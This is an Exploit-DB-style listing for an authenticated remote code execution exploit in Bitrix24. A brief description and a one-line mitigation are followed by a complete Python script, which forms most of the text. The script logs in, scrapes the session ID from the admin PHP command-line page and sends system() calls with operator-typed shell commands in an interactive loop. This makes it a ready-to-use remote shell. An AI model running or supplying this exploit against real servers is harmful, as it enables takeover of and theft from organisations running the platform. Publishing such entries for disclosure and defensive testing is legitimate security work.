Bitrix24 - Remote Code Execution (RCE) (Authenticated)

vendor:

Bitrix24

by:

picaro_o

9.8

CVSS

CRITICAL

Remote Code Execution (RCE)

CWE

Product Name: Bitrix24

Affected Version From:

Affected Version To:

Patch Exists: YES

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Linux

2022

Bitrix24 – Remote Code Execution (RCE) (Authenticated)

Bitrix24 is a web-based collaboration platform that allows users to manage their projects, tasks, documents, and customer relationships. A vulnerability in the platform allows an authenticated user to execute arbitrary code on the server. This exploit was discovered by picaro_o in April 2022 and tested on Linux OS. The exploit requires the user to provide the Bitrix URL, username, and password. The exploit then uses a POST request to authenticate the user and a GET request to extract the session ID. The exploit then uses a POST request to execute the arbitrary code on the server.

Mitigation:

Users should update to the latest version of Bitrix24 and ensure that all users have strong passwords.

Source

Exploit-DB raw data:

# Exploit Title: Bitrix24 - Remote Code Execution (RCE) (Authenticated)
# Date: 4/22/2022
# Exploit Author: picaro_o
# Vendor Homepage: https://www.bitrix24.com/apps/desktop.php
# Tested on: Linux os

#/usr/bin/env python
#Created by heinjame


import requests
import re
from bs4 import BeautifulSoup
import argparse,sys

user_agent = {'User-agent': 'HeinJame'}

parser = argparse.ArgumentParser()
parser.add_argument("host", help="Betrix URL")
parser.add_argument("uname", help="Bitrix Username")
parser.add_argument("pass", help="Bitrix Password")
pargs = parser.parse_args()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]

inputcmd = input(">>")
s = requests.Session()
def login():
	
	postdata = {'AUTH_FORM':'Y','TYPE':'AUTH','backurl':'%2Fstream%2F','USER_LOGIN':username,'USER_PASSWORD':password}
	r = s.post(url+"/stream/?login=yes", headers = user_agent , data = postdata)
def getsessionid():
	sessionid = s.get(url+"bitrix/admin/php_command_line?lang=en",
headers = user_agent)
	session = re.search(r"'bitrix_sessid':.*", sessionid.text)
	extract = session.group(0).split(":")
	realdata = extract[1].strip(" ")
	realdata = realdata.replace("'","")
	realdata = realdata.replace(",","")
	return realdata
	# print(r.text)
def cmdline(cmd,sessionid):
	cmdline = {'query':"system('"+cmd+"');",'result_as_text':'n','ajax':'y'}
	usercmd = s.post(url+"bitrix/admin/php_command_line.php?lang=en&sessid="+sessionid,headers
= user_agent, data = cmdline)
	soup = BeautifulSoup(usercmd.content,'html.parser')
	cmd = soup.find('p').getText()
	print(cmd.rstrip())
login()
sessionid = getsessionid()
while inputcmd != "exit":
		cmdline(inputcmd,sessionid)
		inputcmd = input(">>")